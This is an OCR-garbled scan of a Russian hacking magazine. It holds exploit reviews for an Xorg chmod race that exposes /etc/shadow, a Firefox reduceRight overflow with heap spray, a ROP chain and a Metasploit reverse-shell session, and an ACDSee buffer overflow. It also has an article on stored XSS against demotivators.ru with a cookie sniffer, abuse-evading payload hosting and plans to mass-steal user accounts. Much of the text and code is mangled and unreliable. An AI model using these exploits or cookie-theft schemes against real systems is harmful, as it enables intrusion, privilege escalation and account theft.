нужно, чтобы атакующий мог запускать Х-сервер на целевой системе. 



ЕХРЮІТ 



В процессе запуска Хогд создает файл Лтр/.Хп-Іоск. При этом вы- 
полняются следующие действия: сначала создается (открывается) 
временный файл Лтр/іХп-Іоск с флагом 0_ЕХС1_ для записи текуще- 
го РЮ, файл линкуется с Лтр/.Хп-Іоск, а затем разлинковывается. В 
итоге на файл остается одна ссылка Лтр/.Хп-Іоск. Код, выполняю- 
щий эти операции, показан на рисунке. 

Заметим, что системный вызов сбтосН) работает с файловыми имена- 
ми, поэтому нет никакой гарантии, что имя Лтр/іХп-Іоск ссылается 
на тот же самый файл на диске, что и при вызове ореп(). Идея здесь 
в том, чтобы подменить файл Лтр/.іХп-Іоск на нашу символическую 
ссылку между вызовами ореп() (строка 296) и сЬтосіО (строка 318). 

Как может сначала показаться, для обычного пользователя эта опе- 
рация невозможна, но... Что если мы запустим два процесса Хогд с 
небольшим интервалом времени (несколько миллисекунд), так чтобы 
первый процесс разлинковал (строка 341) временный файл до того, 
как второй процесс сделает вызов сЬтосН)? Здесь мы можем просто 
не успеть поставить свою символическую ссылку: 

# 5І:гасе X :1 

орепСУ-Етр/.-ЕХІ-Іоск". 0_1лИЧ0Ы1У 1 0_СКЕАТ 1 0_ЕХСЬ „ 0644) = 0 
ыгі1:е(0, " 2192\п" . 11) = 11 

сбтосК"/1:тр/.1:Х1-1оск" . 0444) = 0 

Немного подумав, вспомним про специальные сигналы 5Ю5Т0Р и 
513С01\1Т, которые можно посылать приложению. Эти сигналы позво- 
ляют контролировать поток исполнения программы, останавливая и 
возобновляя его в нужные моменты. Итак, вот что нужно сделать: 




АС05ееРоІо5ІаІе4.0.Ассе5зѴіоІаІіоп. В следующий момент 
произойдет перезаписьБЕН-обработчика 



1. Запускаем Х-сервер (РЮ примемза п). 

2 . Останавливаем его, посылая сигнал 5І05Т0Р сразу же после соз- 
дания Лтр/1Х1 -Іоск. Получится, что следующей инструкцией для 
выполнения и будет вызов сЬтосН). 

3. Запускаем ещё один процесс с сервером X для разлинковки 
Атр/іХІ -Іоск. 

4 . Создаем символическую ссылкуЛтр/.1Х1 -Іоск ->/ек/5басіоѵѵ. 

5 . Возобновляем первый процесс с помощью 5 1 0 С О N Т, сЬтосіО вы- 
ставит права 444 на файл /еІс/зЬасІоѵѵ. 

Небольшой косяк состоит в том, что, когда запускается ещё один 
Х-сервер, это неминуемо влечет за собой переключение на вирту- 
альный терминал, а в некоторых случаях и небольшое подвисание 
экрана. Решить эту проблему можно так — заранее создать символи- 
ческую ссылку на несуществующий файл: Лтр/.ХІ -Іоск -> /бопІехізС 
Тогда при запуске первый Х-сервер просто вывалится с РаІаІЕггогО. 
Эксплоит под это дело доступен на ехрІоіРсІЬ.сот. его Ю — 18040. 
Пример его использования я приведу ниже: 

Компилируем 

сс хсбтосі.с -о хсбтосі 

Используем 

. /хсбтосі [ /путь/д о/ файла] (по дефолту - /е1:с/5ІіасІоы) 

$ І5 -1 /е1:с/5ІіасІом 

-гы-г 1 гооТ БІіасІоы 1072 Аи§ 7 07:10 /е1:с/5ІзасІоы 

$ ,/хсМтосІ 

[ + ] Тгѵіпе Ііо БІіор а Хог^ рпосезБ гі^ііі: Ье-Роге сІітосІО 
[+] РпосеББ ІР 4134 БІіорресІ (5І65ТОР 5еп~0 
[ + ] Кетоѵіп§ /Ттр/ .1:Х1-1оск Ьу 1аипсІііп§ апоііііеп Хог§ 
рпосеББ 

[ + ] Спеа1:іп§ еѵіі Бутііпк (/Стр/ .1:Х1-1оск -> /еСс/БІпасІоіл/) 
[+] РпосеББ ІР 4134 пеБитес! (5І6СОІМТ 5еп1=) 

[+] А1=1=аск БиссеесІесІ. іб -1 /е1=с/5ІіасІоы: 

-Р--Р--Р-- і горі: 5ІіасІоы 1072 Аи§ 7 07:10 /е1=с / б Ь асіоы 



ТАР6ЕТ5 



Все конфигурации Хогд 1 .4 до 1 .1 1 .2. 

Хогд 1.3 и более ранние в случае сборки с опцией ІІ5Е_СНМСЮ. 



50ШТІ0Ы 



В версиях Хогд 1.1 1.2 и 1.12 эта уязвимость устранена. 



РігеГох 



Целочисленное переполнение в функции 
Аггау.гесІисеКідІіІ веб-браузера МогіІІа 



СѴ55Ѵ2 



(АѴ:Ы/АС:Е/АІІ:І\І/С:С/І: С/А: С ) 

Дата релиза: 13 октября 201 1 года. 

Авторы: СЬгіб РоЫС Ѵап Іѵпіізкіу, Маиео МетеІІі, боокіе2000са, 
зіппЗг, тг_те, ТесРОс. 

СѴЕ: СѴЕ-201 1-2371. 

На этот раз речь пойдет о модуле для МеІазрІоіС который эксплуатирует 
уязвимость в МогіІІа РігеТэх 3.6. Суть уязвимости состоит в том, что в 
процессе работы функции гебисеРідЬШ происходит выход за границы 
объекта массива в результате целочисленного переполнения. 



ЕХРЮІТ 



Функция гесІисеРідЫ: выполняет саІІЬаск один раз для каждого 
элемента в массиве и принимает четыре аргумента: первоначальное 
значение (или значение предыдущего саІІЬаск-вызова), значение 
текущего элемента, текущий индекс и массив, над которым соверша- 
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ВЗЛОМ/ОБЗОР ЭКСПЛОИТОВ 




і ( РРШ ) 



ЙЗСП 



0С60ЙЙГ4 сс 



0С00Ѳ0РЙ 
ѲС0ѲѲѲРС 
ѲС0000РЕ 
0СѲ00ІѲ0 
ѲС 000102 
0С00Э104 
0С 000 106 
0С0О01ОЗ 
0С 0001 ОЙ 
0С00ОЮС 
0СѲ0Ѳ10Е 
0СѲ0ѲІІѲ 
0сѳѳ0ііг 



е$! ГСѲ03ЙЁ1 кеѵт^е10Е.ииМ:иаІЙИ 
Е01 100Д0001 ни 1 . 1О0ЯС001 
ЕІР 0С00Э0Р& 

С 8 Е5 ЭѲ23 32Ы* 0*Р ЕРЕ ГРЕЕ) 

Р I С5 00 ІР ЗЭЬИ ШЕЕРЕЕЕЕР) 

Й 0 35 &023 32ѢН: ШЕЕРЕЕЕЕЕ) 

I 0 03 0023 ЗЗЫ* ЕРРЕРЕЕЕ) 

ЗО Р5 0033 ЭгЫХ 7РР0Р0Ѳ0(РРР) 

т о (з5 ООО© ічииі. 



6С0С0С13 

8С0С0С1С 



РРРР0023 я. 
0С0С0СѲС .. 



ОС0С0С30 0С0СОС0С 
0С0С0СЗС 0С0СОС0С 
ѲС0СѲС40 0С0СОС0С 
0С0С0С44 0С0С0С0С 
0С0С0С43 0С0СЭС0С 



ѲС0С0С70 0С0СОС0С 
ОС0С0С74 0С0СОС0С 
0С0СѲС70 0С0СОС0С 
ѲС0С0С7С 0С0СОС0С 



ІНТЗ 
ІНС ЕСХ 
ОЯ П1_,0С 
ОК ЙІ..ЗС 

ок пиве 

ОН Й1_,0С 
ОН ЙЩ0С 

он нщес 

ОН ЙЩ0С 

он нщес 

ОН Й1_,0С 

он визе 
он йи.ос 
№ ЙЦ.0С 
ОН Й1..0С 
ОН ЙІ..СС 
ОН Й1_,0С 



00000000 УИІОООЕ "ипйеЕ ЁпесГ 

00000000 

00000000 

6Э2ЙЙ053 

0С0С0СІ0 

' 10Ѳ3376В ни 1 . 1003376В 
7С303ЛЁ1 кеггіе 132. 0 ЧгЪиа ІЙ Иэе 
1Ѳ2ЙОО01 ни 1 . 1ѲЗЯСѲ01 



' І_а*$Егг ЕННОЯ_30ССЕ$5 С0О00ОѲѲ0) 
00000203 (N0^0, НЕ, Й,НЭ, РЕ, 6Е, 6) 
і ьэсі +МаМ 



Ріге^ох 3.6.16. Начало полезной нагрузки (депегіс/с!еЬид_Ігар) 



ются итерации. СаІІЬаск-функция применяется к двум значениям мас- 
сива (в направлении справа налево), для того чтобы свести их в одно. 
Вызов функции гебисеРідЫ в пользовательском Э5-коде приводит к 
вызову функции аггау_ех*га из )заггау.срр. На строке 2740 свойству 
Аггау.І_епдіЬ присваивается беззнаковое целое: 

івиіпі: Іеп ^ііб; 

і-р (Из 6е1:І-еп^1:ІіРгорег1:ѵ(сх. оЬд, &1еп§1:б)) 
геііигп 35 РАБ5Е; 



Продолжаем просматривать )заггау.срр и внимательно смотрим на стро- 
ку 2767. В случае если в Эаѵа5сгірІ-коде вызывался метод гебисеРідЫ, 
то переменные зіагі, епб и зіер инициализируются новыми значениями. 
Все эти переменные имеют тип )зіпІ (знаковое целое). 

□ 5±п1= в1:аг1: = 0, епсі = Іоп^Із, в1:ер = 1; 
быііісіі (тосіе) { 
сазе КЕРЦСЕКІ6НТ : 

віагЬ = Іеп^іііі - 1. епсі = -1. зііер = -1; 

Проблема переполнения кроется в операции зіагі = ІепдіЬ - 1, поскольку 
зіагі у нас знаковое целое, а ІепдіЬ — беззнаковое. Вредоносный Э5- 
скрипт, эксплуатирующий уязвимость, выглядит следующим образом: 

< И1:т1 > 

< ИеасІ > 

</беасІ> 

< Ьосіу > 

<оЬдес1= і сІ ="сІ"><оЬдес1=> 

<всгір1:> 

ѵаг тѵоЬдесІ: = сіоситепі: . ^е1:Е1етеп1:ВуІсІ( 1 сі 1 V. 



-РипсЕіоп в ргаѵО { 

//... 

ь_ 



зрпау ( ) ; 

оЬд = пеы Аггау; 



оЬд . 1еп§1:1і = 2197815302; 

-р = Рипс іі оп 1:гі^ег(ргеѵ, туоЬд, іпсіх, аггау) { 
а1егЕ(туоЬз [0] ) ; 

-X- 

оЬд . гесІисеКі§ІтІ:(-р, 1, 2, 3); 

</зсгір1:> 

</ Ьосіу > 

</Іі1:т1> 

Функция зргауО в этом скрипте производит Ьеар зргауіпд для обхода ме- 
ханизма А5І_Р. Для обхода РЕР используется следующая РОР-цепочка: 



101Р180 


КЕТІМ 




103Е0О7В 


МОѴ Е5І . ОІлІОКО РТК 05:ГЕАХ1 


: кегпе132.Ѵіг1:иа1А11ос 


103Е0О7О 


КЕТІЧ 




10208002 


РОР ЕВР ; хиі. 1003876В 


10208003 


КЕТІМ 




10040001 


РОР ЕВХ 


10040002 


КЕТМ 




104Е6917 


РОР ЕОХ 


104Е6918 


КЕТИ 




102АС000 


РОР ЕСХ ; хиі . 1Ѳ4С26Р0 


102АС001 


КЕТИ 




102Е0005 


РОР ЕОІ ; хиі . 102АС001 


102Е0006 


КЕТІМ 




101Р1806 

101Р1807 


РОР ЕАХ : <&КЕКМЕБ32.Ѵіг1:иа1А11ос> 
КЕТМ 




102В3401 


РІІ5НА0 


102В3402 


КЕТМ 




102АС001 


КЕТМ 




7С809АЕ1 > 


МОѴ ЕОІ, ЕОІ ; хи1.1Ѳ2АСѲѲ1 


7С809АЕЗ 


РІІ5Н ЕВР 


7С809АЕ4 


МОѴ ЕВР, Е5Р 


7С809АЕ6 


РЦ5Н РІлІОКР РТК 55: [ЕВР+14] 


7С809АЕ9 


РІІ5Н РЫОКР РТК 55: [ЕВР+10] 


7С809АЕС 


РІІ5Н РІлІОКР РТК 55: [ЕВР+С] 


7С809АЕР 


РІІ5Н ОІлІОКО РТК 55: [ЕВР+8] 


7С809АР2 


РІІ5Н -1 


7С809АР4 


САІ 1 кегпе132.ѴігТиа1А11осЕх 


; устанавливаются права на вапись/чтение/ 
: исполнение на память 


7С809АР9 


РОР ЕВР 


7С809АРА 


КЕТИ 10 




1003876В 


ЗМР Е5Р ; прыгаем на рауіоасі 



Эксплоит с недавнего времени доступен в МеІазрІоіЕ 

ГП5-Р > иве ехр1оі1:/ыіпсІоы5/Ьгоы5ег/ то2І1 1а _гесІи сег і §І т 1: 
тв-Р ехріоі1:(то2І11а_гесІисегі§ІтІ:) > веі: рауіоасі ыіпсіоыв/ 
те1:егрге1:ег/геѵег5е_1:ср 

рауіоасі => ыіпсІоіл/5/те1:егрге1:ег/геѵег5е_іср 

тв-Р ехр1оі1:(то2І11а гесІисегі^ІгЬ) > веі: ІРіовІ: 192.168.0.121 

ІКіові: => 192.168.0.121 

тв-Р ехр1оі1:(то2І11а_гесІисегі§ІтІ:) > веі: игіра1:Іі ±еві 
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ОБЗОР эксплоитов 



гадгсоіфі аріорз : ^/В йб кІор$ руіінні арас!ір_ргаку_ы:аплег.ру -г 192. 16В. Я5. 16 1 -іа /геѵгіІеДеЫ: 
сѵЕ-зеи-эз» ргоеГ ц{ «псері ^ нойгіфв. нагсозі 

ІІ1Г(р:/ЛАМ > №СІйГСЕ.СО.Іік 

[+] Та где! : 192 Л6В.В5. 161 

[♦] Та где! роге: ВѲ 

[+] ІГіЮпчІ ІШіТ: Ш.Ѳ-Ѳ.1 

[+| ТМІНІ рогЕя: [в., 21 г 22, 23. 25 г 53. 69 г ВО, 11Ѳ Г 137., 139 г «3, 445 г ЗЗМ. ЗЗВЭ, 5432, ЗЭПО. Э0ВВ| 

[+] Шстіі гезоигее: / 
йрсл рогі : Й/ТСР 

^ііаіхьо ау'хй 1?тт «Из *, 4/Ніх/Ьейу«/ІЦп\> 

- СІМ&З рОГІ : 21 ДОР 

- Орол рогіг 22/ТСР 
ЗВ 

&5Н-2,Ѳ-0реМіИН_5Др1 &е&13П-5иІИіііШРгвІ<і«1 В1ІЭДНИ- 



- С1««і рог*: 23/ТС Р 

- ■СІазей рогі: 2ЬДСР 

- СІ«е4 р©гі: 5ЭДСР 

- Сіазесі рогі: 69/ГСР 
Фщп рогі : ЙЙ/ТС.Р 

«ТѵтяЗ хЬр^ухіі 1*11 'ногк? ! </Ы х/Мух/ ІіІтИ > 

- С Юзер р&Д: ПѲДСР 

- с Юзер рогі: 137/Ю 
СІЮЯгі рогі: 1Э9/Г-СР 

- СЮзей роД: 443/К Р 
I- Оіа-Бееі рогі: 445/К Р 

- РОГІ; ЭЭѲ6/ТС Р 
|і7 

.$5 . * . 71» ѲиЬіі п м ІО . 20ЬЬѴ №*у . |Ща Т : иМіЕ и 2&РШРИ ІіаінІзГіаЬс 

- СЮ-эей рогі : ЗЗБЭ/ТСР 
'■ СІ04&І рОП : 5432 Д<Р 
I- СЮіесІ рогі: 590В/КР 

СІозесІ рогі: 8ѲВѲДСР 



Пример использования эксплоита для тосі_ргоху 



игіраіИ => іезі 

тз-Р ехріоіі (тогі11агесІисегі%Ііі) > ехріоіі 
[*] Ехріоіі гиппіп^ аз Ьаск^поипсІ іоЬ. 

[*] 51=аг1=есІ геѵегзе бапсііег оп 192.168.0.121:4444 



[*] Цзіп? ЦКІ.: Іііір://Ѳ .Ѳ.Ѳ.Ѳ:8Ѳ8Ѳ/і е5І 

[*] І_оса1 ІР: біір: //192. 168.0. 121 :808Ѳ/іе5і 

[*] Бегѵег віагіесі. 

тз-Р ехріоіі (тогіііа гес!исегі%Иі) > 

[*] Зепсііпе ехріоіі: То 192.168.0.123:1074... 

[*] Бепсііп^ зіа^е (752128 Ьѵіез) 1=о 192.168.0.123 
[*] Меіегргеіег зеззіоп 1 орепесі (192.168.0.121:4444 -> 
192.168.0.123:1075) аі 2011-10-17 18:32:40 +0400 
[*] Зеззіоп Ю 1 (192.168.0.121:4444 -> 
192.168.0.123:1075) ргосеззіп§ ІпіііаІАиіоКипБсгірі 
' ті§гаіе -Т ' 

[*] Сиггепі зегѵег ргосезз: бгеіох.ехе (1992) 

[*] 5рампіп§ поіерасі.ехе ргосезз іо ті§гаіе іо 
[+] М і^гаііп^ іо 1652 
[ + ] Зиссеззіиііу ті§гаіесІ іо ргосезз 



ТАК6ЕТ5 



МогіІІа Рігеіох 3.6.16, 3.6.17. 



50ШТІ0Ы 



Существуют обновления, устраняющие эту уязвимость. 

Переполнение буфера в АСйЗее РоІоЗІаІе в 
процессе обработки параметра ісі, заданного 
в РЬР-файле 



СѴ35Ѵ2 10.0 



( АѴ: Ы/АС : Б/АИ : Ы/С: С/І : С/А: С ) 

ущ 

Дата релиза: 1 0 октября 201 1 года. 

Автор: Рагѵег Апѵѵаг, )иап ѵагциег. 

СѴЕ: СѴЕ-201 1-2595. 



АСй РоІоЭІаІе — весьма удобная программа для печати цифровых 
фотографий, в которой доступны все распространенные форматы, в том 
числе 4x6 и 5x7. Она очень популярна как у обычных пользователей, так 



и у профессионалов. Уязвимость в приложении была обнаружена еще 1 2 
сентября этого года, а рабочий сплоит, оформленный в виде модуля для 
Меіазріоіі, написан месяцем позже. Суть уязвимости заключается в том, 
что в АСйЭее РоІоЭІаІе 4.0 (сборка 146) происходит переполнении буфе- 
ра в результате обработки параметра ісі в элементе Эігіпд, составленного 
специальным образом. Просмотр вредоносного РРР-файла при помощи 
АСйЭее РоІоЭІаІе указанной версии приводит к выполнению произволь- 
ного кода на атакуемой машине. При переполнении буфера выполняется 
перезапись 5РН-обработчика на наш адрес. Далее используется класси- 
ческая последовательность рор-рор-гер чтобы передать управление на 
стек, где будет находиться полезная нагрузка. В данном случае берется 
адрес 0х263а5Ь57 из библиотеки ірѵѵззіб.сііі. 

При тестировании эксплоита будем использовать в качестве по- 
лезной нагрузки запуск калькулятора на атакуемой машине: 



тз-Р > изе ехр1оіі/міпсІом5/61е-Рогтаі/ассІ5ее_-Роіо5Іаіе_5ігіп§ 
тз-Р ехр1оіі(ассІ5ее_-Роіо5Іаіе_5ігіп§) > зеі рауіоасі 
ыіпсіоыз/ехес 
рауіоасі => ыіпсіомз/ехес 

тз-Р ехр1оіі(ассІ5ее_-Роіо5Іаіе_5ігіп§) > зеі стсі саіс.ехе 
стсі => саіс.ехе 

тз-Р ехріоіі (ассІ5ее_-Роіо5Іаіе_5ігіп§) > ехріоіі 
[*] Сгеаііп% 'тз-р.рір' 61е ... 

Ш СепегаіесІ оиіриі 61е 

/Ііоте/ріко-РагасІ/ .тз-Р4/сІаіа/ехр1оіі5/т5-Р. рір 



Рели пользователь на атакуемой машине вызовет этот файл, на 
ней выполнится полезная нагрузка (запуск калькулятора). 



ТАКСЕТ5 



АСРЭее РоІоЭІаІе 4.0 ВиіІсІ 146. 



50ШТІ0Ы 



На данный момент не существует обновлений, закрывающих эту 
уязвимость. Ц-П 



288 /* 

289 * Сгеаіе а іетрогагу Іііе сопіаіпіпд оиг РІО. Йііетрі Екігее ііте-5 

290 * Іо сгеаіе ІЬе Тііе. 

291 */ 

292 51 і МІоскіпд = ТРІ1Е; 

293 і = В; 

294 гіо ? 

296 І-Гсі" = орепСішр. О.СкЕЯТ I 0_ЕХС1 I О^ОНЬѴ. 

297 И {На < 0) 

298 5ІеерС2); 

299 еізе 

ЗѲѲ ; 

301 5 ибііе СІ < Э); 

302 ІТ (МРсІ < 0) Е 
ЗѲЗ дпПгкСІглр); 

30^1 і = 

305 ёо С 
ЗѲ6 і ++; 

307 Иё = ор9П*6тр, О.СРЕЯТ I О.ЕХСЕ I О_Ш0М_У, 2В44І: 

ЗѲЗ іі итб < 0і 

309 з1еерС2): 

310 еІБР 

311 Ьгеак; 

312 ) иЫІе СІ <31: 

313 > 

31^ ІТ СНсІ < Ѳ) 

315 РаІаІЕггогС'Соіір гюі сгеаіе Іоск Т11е іп Кз\п", ігпр); 

316 СѵоісІ) ерг іігІГСрісЦьіг, "гіѲІсЗЧп". ( Іопді д9Ір і сІС 1 1 ; 

317 С ѵо ісі 1 шгііеСИсІ, ріеі.зіг, 11); 

313 Г ѵо і сІ 3 сІтосІСІлір, 444); 

319 С ѵо 1 сІ 1 с1о59( I ТсП ; 

320 

I , . . ] 

328 Ьаріоск - Г МпкСІтр, ІоскГі == 0); 

329 ІТ ^кіазіоск) С 

330 /* 

331 * Не' г? сіопе. 

332 */ 

333 Ьгезк; 

33^ ) 

335 еІ5е { 

336 /* 

337 4 Ееае! іЬе рій Тгрш іке Т11е 

338 

339 Иё = орепСіоскГі 1е. О^ООНЬѴ): 

3^0 ІТ СИ4 < 01 С 

3^1 ипі іпкСТлір! ; 

3^2 ГаѣаІЕггогГ'Сап' 1 геасі Іоск ТііеТізЧп", ІоскГПе); 

343 1 

і з 



Важный код вХогд 
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Сергей ОСО: 555-856-204) 



X 



ДЕМОТИВИРУЙ 




СЛИВ ПОЛЬЗОВАТЕЛЕЙ 0ЕМ0ТІѴАТ0К5.ІШ 
ЧЕРЕЗ АКТИВНУЮ Х55 



Как-то раз, заскучав от чтения бесконечных технических материалов 
в Сети, я решил побродить по развлекательным порталам (каюсь) и 
наткнулся на всем известные демотиваторы. Тогда я и представить не 
мог, что меня развеселят не только смешные картинки, но и вкусная Х55- 
уязвимость на самом сайте сіетоііѵаіогз.ги. 



Г7ИТЛ 

сіетоііѵаіогз.ги — 
виновник торжества; 
уууууу.ф'апдорго]ес*.сот 
— йІапдо-фреймворк. 
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Демотивируй это! 



Онлайн Сниффер 

Добро пожаловать, дѵѵеедѵѵедѵѵееѵ/д [ аііаз вудѵѵосбеаѵѵІІэѵѵТѵ ] | Выход I 




| Настройки 1 
I Лог] 


[Изменить пароль] 
[ Изменить етаіЗ ] 


Настройки 

Допопнительный домен (ШргШірг.пеІ) 
Поддерживается доступ по зйпи (Шр;//1 52 137.210.112) 
Записывать ір в лог^ 

Пассивная Х$$ 




иП хзз 

Напоимео (Пйо:/УзіІе.сотА(53.оПо?іб=">Шо://зіІе.сотЛ(ЗЗ.оІіо?іб=%22%ЗЕ (где есть пассивная хзз уязвимость). Сам іаѵазсгіо* код 
писать не нужно, он автоматически допишется скриптом 


иП на реднрект 

Страница, куда перенаправится пользователь после кражи куше (указывать с префиксом Мір;//) 




Сохранить Настройки [ 




База пассивных хзз на Форуме 




Код для пассивной Х55 атаки 




)%ЗС$СВІРТ Гуре=іехЪ/ізѵэ5сгірі 5гс=Ы*р://ЬКрг.ги/ [ Вставлять после ] 





Пабликснифер 



БЕЗУПРЕЧНАЯ ЗАЩИТА 

Пролистав еще пару страниц демотиваторов и открыв очередную 
смешную картинку, я решил поближе взглянуть на устройство сайта. 
Страничка выглядела довольно просто и казалась неказистой: в шапке 
находилось меню, ниже располагался демотиватор, а дальше шли 
комментарии, которые замыкал футер. Я решил попытать счастья и 
вставил комментарий с элементарным тегом <Ь>. Получилось что-то 
типа: <Ь>Всем привет !</Ь>. Ого, подумал я, такой крупный портал — и 
на нем не фильтруются банальные треугольные скобки? Мое удивление 
быстро прошло, когда я попробовал внедрить теги <зсгірЬ> и <Ьобу>. Все 
они фильтровались. Тогда мне захотелось потестить комментарии с по- 
мощью более сложного Х55-вектора, который выглядел примерно так: 

<5Сг<Ь0сІУ>іР1:> 

Скриптуспешно скушал такое непотребство, но в итоге выдал 
сообщение о том, что комментарий слишком короткий. Тут я по- 
думал, что если скрипт все-таки пропускает определенные теги, то 
надо проверить, пропускает ли он их атрибуты. 



<Ь 1 о1="уеаІі">Всем привет</Ь> 

Однако эта строка тоже ничего не дала. Атрибуты фильтровались, 
мне удалось вставить только разрешенный тег <Ь>. Тогда я решил 
составить список тегов, которые, возможно, не фильтруются: 

<5сгір1:> , <іш^> < <ЬосІу>. <-Ргаше5е1:>. <іпри1:>. <зрап>... 

Я понадеялся на то, что если в скрипт зашито что-нибудь вроде 
РНР-функции зІгір ІадзО, то фильтрацию получится обойти через 
атрибуты. Вставив все эти теги в один комментарий, я очень уди- 
вился результату. Например, тег <ітд> изменился вот так: 

было: <і те 5 гс= " Ыііір : //1 . сот/1 . д р§" > 
стало: < ="61^ ://1. сот/1 о‘р§"> 

Сразу стало понятно, что никакая это не функция 5Ігір_Іад5(), а 
что-то совершенно другое. Только в этот момент я догадался вы- 
яснить, на какой платформе работает ресурс. Как оказалось, сайт на- 



</ зраг.> 

<йіѵ с1азз="Ьсйу"> 

<зрап с1азз="изегпате"><а ЬгеІ= п /ивегв/ 63795/">5ЕТ</ах/зрап> 
<зрап с1азз=”Ріше ,І >87 дней казад</зрапхЬг/> 



хЬстІхЬеасіх/ЬеасіхЬосіух/Ьоііух/ЬстІхЕгаіпезес опЬоасі="а1егс (1) "х/Хгатезес 



</йіѵ> 

<йіѵ с1азз="ссттепсгссі:ег"> 

<а ій-"гер1у_Ро_5039063" с1азз="гер1у_Ііпк" ЬгеС“"#">ОтБетить</а> 



ИнжектХББ 
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ГДЕ ХОСТИТЬ ЛОГИ СО СНИФЕРА? 



Для прогрузки всех вредоносных ^-скриптов и чтения логов снифера 
при эксплуатации ХББ-бага обязательно понадобится специальный 
хост. Тут есть два варианта: можно купить антиабузный сервер или вос- 
пользоваться бесплатным хостингом (такие сервисы легко гуглятся], 
что гораздо экономичнее, но в то же время трудозатратнее. Регистриро- 
ваться на таком хостинге лучше с помощью прокси или носков. Однако 
как при этом быть с абузами, которые, скорее всего, придут на твой ак- 
каунт? Остается только один вариант — зарегистрировать 20-30 разных 
фришных доменов и подгружать 35-файл оттуда, откуда можно. Вот как 
реализуется на 35 обход таких «серверов-помощников»: 

ѵаг зегѵегБ = [ 

1 ІтЕір: //-Ггееі. ііозііі. сот/ ' . 

' ІгЕ-Ер : //•Ггее2 . Но5І:1 . сот/ ' . 

' ІгЕ-Ьр : //-ГгееЗ . Но5І:1 . сот/ ' . 



' ІтЫр : //- Ргееі . Іі05І:5 . сот/ ' . 

' ІтЫр : //-Ргее2 . Іі05І:5 . сот/ ' . 

' И1:1:р://-РгееЗ. ііоб 1:5. сот/ ' 

]; 

-Гог (ѵаг кеу іп Б егѵегз^ 

І_ 

сіоситепі: . ^е1:Е1етеп1:ВуІсІ ( ' -РосгЕег 1 ) . іппегНТМІ. += 

' <5сг±р1: 5пс=" І +БегѵегБ[кеу] + ' "х/БсгірТ^' ; 
і-Г (ІоасІесІН Ьгеак; > 

} 

іі 1 ( 1оасІесП {.. .} 

Переменная ІоабесІ, как видно из кода, не объявлена. А объявляется 
она как раз в подгружаемом скрипте, то есть после успешной 
загрузки выбирается сервер, который еще не забанен. Все отлично, 
инжект входит как нож в масло. Однако перед нами встает еще одна 
проблема — проверка логов с этих серверов. Для этого достаточно 
уже одного главного сервера, который с помощью скрипта на том же 
РНР обходил бы файлы логов с этих серверов через прокси, тем самым 
оставаясь также анонимным. Например, просто сохранял бы себе в базу 
содержимое файлов Іодз.М, которые создаются снифером. 







т убить] 








как убитъ девушку 


2 іМОЗО результатов 






как убить время 


4 630 С-30 результатов 






как убить любовь 


2 030 результатов 






как убитъ собаку 


984 <»Ѳ результатов 


Ь Е'КЛЗД^ 




как убить зэкена 


ЗИО результатов 




как убить мужа 


1 87Ш0 результатов 


1 —А 


как убить дерево 


1 043 300 результатов 






как убить крота 


54 Е00 результатов 


ІІ 


Соэдайі 


как убить валакаса 


36(й результатов 




аккар 


как убитъ сайт 


Э ^ДООрезультвгор 



Русские хакеры 

... самые отчаянные 



Русские хакеры — самые отчаянные 



ИНФОРМАЦИЯ ДЛЯ СНИФЕРА 



Коды самых разнообразных сниферов уже неоднократно 
рассматривались на страницах нашего журнала, поэтому я напомню 
тебе только об основной информации, которая обязательно должна 
сохраняться в логах при использовании Х55: 

• $_5ЕКѴЕК[ 1 НТТР_ІІ5ЕК_АСЕІ\ІТ ' ] - браузер; 

• $_5ЕКѴЕК[ , КЕМ0ТЕ_А00К'] - ІР-адрес; 

• $_5ЕКѴЕК[ ' НТТР_КЕРЕКЕК ' ] - реферер (откуда пришли куки); 

• сІаІіеГ'сІ.т. у Н:і") - время получения печенек; 

• иг!сІесосІе($ 6ЕТ[ ' с 1 ] ) - пример переменной для вставки 
кукис ов; 

• $ 5ЕКѴЕК[ 'ОЦЕКУБТКЗЖ' ] - или такой код вместо 
переменной. 




Вкусные печеньки 

писан на Питоне, в котором нет функции 5Ігір_Іад5(). Более того, сайт 
построен на фреймворке Оіапдо, с которым я раньше не имел дела. 
Скачав его исходники, я попробовал найти функцию, отвечающую за 
ХББ-фильтрацию. Но с Питоном я далеко не на «ты», а поэтому, от- 
крыв пару файлов, я все закрыл, забил на сайт и пошел на работу. 

РАЗВИТИЕ СОБЫТИЙ 

После напряженного рабочего дня всегда хочется немного отдо- 
хнуть, поэтому я проверил почту, заглянул на Хабр и несколько 
других сайтов в надежде найти что-нибудь новенькое, но в итоге 
не обнаружил ничего для себя интересного и вновь сел мучить 
форму комментариев к демотиваторам. Внезапно меня посетила 
мысль о том, что хорошо бы посмотреть, как будут фильтроваться 
любые возможные НТМБ-теги. Погуглив по запросу «теги НТМІ_», 
я нашел их полный список на каком-то портале веб-дизайнеров и 
вставил в ту же форму. Однако те теги, которым удалось прой- 
ти фильтр, были абсолютно бесполезны для раскрутки Х55- 
уязви мости. И тут я почему-то вдруг вспомнил тег <Ю0СТѴРЕ>, 
который браузер использует для корректной обработки страниц. 

С точки зрения эксплуатации Х55 от этого тега нет никакого толку, 
но я все-таки решил проверить и его. Результат оказался более 
чем удивительным. После ввода бесполезный на первый взгляд 
тег превратился в следующую конструкцию: 

< ! >< М1:т1 >< МеасІ ></ИеасІ хЬосІу ></ЬосІу ><^/И1:т1 > 

Сперва я подумал, что из-за усталости и большой дозы кофе 
мой мозг начал генерировать всякий бред, но, выпив еще пару 
глотков черного напитка, пришел к выводу, что ошибки все- 
таки нет. После того как я всего лишь ввел <Ю0СТѴРЕ>!, мне 
каким-то образом удалось вставить в исходник одной из страниц 
сІетоЦѵаІогз.гіі сразу два потенциально опасных НТМБ-тега (<ЫтІ> 
и <Ьобу>). Возможно, причиной этому был баг в фреймворке или 
косяк администратора, а может быть, тут постаралась нечистая 
сила, которая изменила файлы в дата-центре . :-) 
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Демотивируй это! 



ВАРИАНТЫ ЭКСПЛУАТАЦИИ ХББ НА 0ЕМ0ТІѴАТ0Р5.РІІ 



Хотя ХББ не считается критической уязвимостью, 
при большом объеме трафика или на известном 
ресурсе она становится довольно ощутимой. Вот 
что можно было бы сделать с описанным багом: 

1. Купить за сотню-другую баксов ХББ на крупных 
проектах, таких как ѵкопіакіе.ги. таіі.ги, 
ѵапсіех.ги и т. п. Затем вставить переход по этим 
ХББ в рассмотренную выше дыру, тем самым 
сливая аккаунты всех пользователей с указан- 
ных сайтов. Разумеется, аккаунты с самого сай- 
та сІетоОѵаІогБ.ги тоже можно было бы слить. 
Пример того, как встроить еще несколько ХББ с 
других сайтов: 

// Создание "изображения" 

